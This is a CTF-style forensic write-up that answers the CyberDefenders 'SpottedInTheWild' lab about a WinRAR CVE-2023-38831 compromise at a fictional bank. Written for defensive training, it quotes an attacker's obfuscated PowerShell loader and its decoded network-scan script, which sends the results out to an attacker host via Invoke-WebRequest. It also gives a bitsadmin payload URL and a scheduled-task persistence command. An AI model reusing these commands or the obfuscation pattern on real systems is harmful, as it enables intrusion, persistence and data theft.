CyberDefenders / ARTICLE

SpottedInTheWild Lab

Lab solution ahead. This writeup contains answers and investigation steps for a CyberDefenders training challenge.

بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

challenge link :

https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/


Scenario : You are part of the incident response team at FinTrust Bank. This morning, the network monitoring system flagged unusual outbound traffic patterns from several workstations. Preliminary analysis by the IT department has identified a potential compromise linked to an exploited vulnerability in WinRAR software.


In your investigation into the FinTrust Bank breach, you found an application that was the entry point for the attack. Which application was used to download the malicious file?

in our case we have a Vhd File , A VHD (Virtual Hard Disk) is a file format that acts as a virtual representation of a physical hard drive, allowing it to be used by a virtual machine to store its operating system, applications, and data

we can use Arsenal Image Mounter Tool To mount this Virtual Hard Disk and explore files eaisly , to download it :

Arsenal Recon\
Many Windows®-based disk image mounting solutions mount the contents of disk images as shares or partitions, rather…arsenalrecon.com

After the mounting

using hashcalc tool to calculate the zip file hash

ans → telegram


Finding out when the attack started is critical. What is the UTC timestamp for when the suspicious file was first downloaded?

As you can see, the creation time here is 9:33, and that’s because it’s based on my system’s time zone. If we convert it to UTC, it will be 7:33.

ans → 2024–02–03 07:33:20


Knowing which vulnerability was exploited is key to improving security. What is the CVE identifier of the vulnerability used in this attack?

If you submit the hash to any sandbox it will show you the CVE as well VirusTotal will help too.

ANYRUN SandBox

Malware analysis SANS SEC401.rar Malicious activity | ANY.RUN – Malware Sandbox Online\
Online sandbox report for SANS SEC401.rar, tagged as CVE-2023-38831, verdict: Malicious activityany.run

VirusTotal

ans → CVE-2023–38831


In examining the downloaded archive, you noticed a file in with an odd extension indicating it might be malicious. What is the name of this file?

ans → SANS SEC401.pdf .cmd


Uncovering the methods of payload delivery helps in understanding the attack vectors used. What is the URL used by the attacker to download the second stage of the malware?

As you can see in the Any.run diagram I made, after the compressed file is downloaded it launches cmd, and cmd calls bitsadmin which is actually responsible for downloading files. So the attacker most likely used it to fetch files from their server.

Malware analysis SANS SEC401.rar Malicious activity | ANY.RUN – Malware Sandbox Online\
Online sandbox report for SANS SEC401.rar, tagged as CVE-2023-38831, verdict: Malicious activityany.run

bitsadmin is a deprecated Windows command-line utility for managing the Background Intelligent Transfer Service (BITS), allowing users to create, download, and upload file transfer jobs, and monitor their progress

One notable thing here — and you’ll see it often — is that when malware downloads from the C2 server it drops into the temp folder. As shown here: parent → cmd, image → bitsadmin, which downloads from its server a file with a .jpg extension — that makes it even more suspicious.

ans → http://172.18.35.10:8000/amanwhogetsnorest.jpg


To further understand how attackers cover their tracks, identify the script they used to tamper with the event logs. What is the script name?

The first thing I thought of was to check the PowerShell logs but I didn’t find anything : \
C:\Users\{UserName}\AppData\local\Microsoft\Windows\PowerShell\<logs>\
\
Second, check any Event Logs for PowerShell or Security.\
C:\windows\system32\WinEvent\Logs\\

You must always consider the timeline when investigating, i.e.:\
timestamp when the suspicious file was first downloaded:\
2024–02–03 07:33:20.\
So if the attacker downloads that compressed file and then starts fetching the rest of the malware stages (e.g. amanwhogetsnorest.jpg, …), they’ll need to ensure they wiped the logs. Therefore, that script will typically run about 3–5 minutes afterwards. (cosidere the local timeStamp)

ans → Eventlogs.ps1


Knowing when unauthorized actions happened helps in understanding the attack. What is the UTC timestamp for when the script that tampered with event logs was run?

from the previous image

ans → 2024–02–03 07:38:01


We need to identify if the attacker maintained access to the machine. What is the command used by the attacker for persistence?

When I executed SANS SEC401.pdf.cmd in the Any.run sandbox I found it launched a lot of things underneath, including:

  • the image that was downloaded from the server via bitsadmin
  • it then executed a script named z.ps1
  • it created a scheduled task to ensure persistence

ans → schtasks /create /sc minute /mo 3 /tn “whoisthebaba” /tr C:\Windows\Temp\run.bat /RL HIGHEST


To understand the attacker's data exfiltration strategy, we need to locate where they stored their harvested data. What is the full path of the file storing the data collected by one of the attacker's tools in preparation for data exfiltration?

From the PowerShell logs I found that the attacker was attempting to run a script named run.ps1

i went to this path , to check the script content , and i found encoded powershell script with Base64


$best64code = "K0AVFdE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c5N1Wg0DIk5WZkoQDdNzWpgyclRXeCN3clJHZkFEdldkLpAVS0JXY0NHJoU2cyFGU
6oTXzNXZyRGZBBVSuQXZO5SblR3c5N1Wg0DI0JXY0NHJK0gCNICd4RnL2UzM0wkQcBXblRFXsF2YvxEX
hRXYEBHcBxVZslmZvJHUyV2cVpjduVGJiASPgUGbpZEd1BHd19GJK0gI5kjLx4CO2EjLykTMiASPgAVSk5WZkoQDiEjLx4CO2EjLykTMiASPgAVS0JXY0NHJ" ;
$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; -join $base64 2>&1> $null ;
$LOAdCode = [System.TexT.EncOdING]::uTF8.gETStrING([SYSTeM.COnvErT]::FROmBAse64strIng("$baSE64")) ;
$PWN = "INv"+"oKE"+"-EX"+"pre"+"ssi"+"oN" ; new-alIAS -naME pWn -vALue $Pwn -foRcE ; pwN $LOAdCODe ;

After Decoding

$startIP = "192.168.1.1"
$endIP = "192.168.1.99"
$outputFile = "$env:UserProfile\AppData\Local\Temp\BL4356.txt"

$start = [System.Net.IPAddress]::Parse($startIP).GetAddressBytes()[3]
$end = [System.Net.IPAddress]::Parse($endIP).GetAddressBytes()[3]

for ($current = $start; $current -le $end; $current++) {
    $currentIP = "$($startIP.Substring(0, $startIP.LastIndexOf('.') + 1))$current"
    $result = Test-Connection -ComputerName $currentIP -Count 1 -ErrorAction SilentlyContinue

    if ($result -ne $null) {
        Write-Host "Host $currentIP is online."
        "Host $currentIP is online." | Out-File -Append -FilePath $outputFile
    } else {
        Write-Host "Host $currentIP is offline."
        "Host $currentIP is offline." | Out-File -Append -FilePath $outputFile
    }
}

Write-Host "Scan results saved to $outputFile"
$var = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($outputFile))
Invoke-WebRequest -Uri "http://192.168.1.5:8000/$var" -Method GET

This is the path where the resulting script is stored: UserProfile\AppData\Local\Temp\BL4356.txt\
And this is the server the attacker will send that text file to: http://192.168.1.5:8000/$var\
Let’s open that text file and view its contents.

ans → c:\users\administrator\AppData\Local\Temp\BL4356.txt


سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك 
← All journal articles
Scroll to Top
Home